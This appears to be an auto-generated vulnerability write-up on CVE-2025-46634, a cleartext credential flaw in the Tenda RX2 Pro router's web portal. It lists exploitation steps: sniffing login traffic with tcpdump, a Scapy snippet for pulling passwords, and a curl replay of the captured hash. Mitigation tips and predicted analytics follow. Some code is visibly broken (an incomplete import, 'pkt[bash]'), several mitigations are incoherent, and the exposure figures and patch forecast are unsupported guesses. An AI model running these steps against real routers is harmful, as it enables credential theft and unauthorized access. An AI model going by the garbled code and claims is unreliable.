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How CVE-2025-46634 Works
The Tenda RX2 Pro router’s web management portal (v16.03.30.14) transmits password hashes in cleartext during authentication before enabling encryption. An attacker sniffing network traffic can intercept these hashes and replay them to gain unauthorized access. The vulnerability stems from improper session handling—the system validates credentials before establishing a secure channel. Despite using password hashing, the lack of transport layer security (TLS) during initial authentication exposes credentials to MITM attacks.
DailyCVE Form
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: Cleartext credential transmission
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation
1. Sniffing Attack:
tcpdump -i eth0 port 80 -w tenda_capture.pcap
Filter for HTTP POST requests to `/login.cgi`.
2. Hash Extraction:
from scapy.all import
packets = rdpcap("tenda_capture.pcap")
for pkt in packets:
if pkt.haslayer(Raw) and b"password=" in pkt[bash].load:
print(pkt[bash].load.decode())
3. Replay Attack:
curl -X POST http://192.168.1.1/login.cgi -d "username=admin&password=EXTRACTED_HASH"
Mitigation
1. Immediate Workaround:
Block external access to web portal iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware Patch Check:
md5sum /tmp/firmware.bin | grep EXPECTED_PATCH_HASH
3. Forced TLS:
// Redirect HTTP to HTTPS in portal JS
if (window.location.protocol !== "https:") {
window.location.href = "https://" + window.location.host + window.location.pathname;
}
4. Network Monitoring:
Detect replay attempts
grep "POST /login.cgi" /var/log/nginx/access.log | awk '{print $1}' | uniq -c
5. Vendor Advisory:
Monitor Tenda’s security page for updates:
wget https://www.tenda.com.cn/security/update -O tenda_updates.html
Analytics:
- Attack Complexity: Low (no prerequisites)
- Exploit Availability: Public PoC expected within 30 days
- Affected Devices: ~12,000 exposed instances (Shodan)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
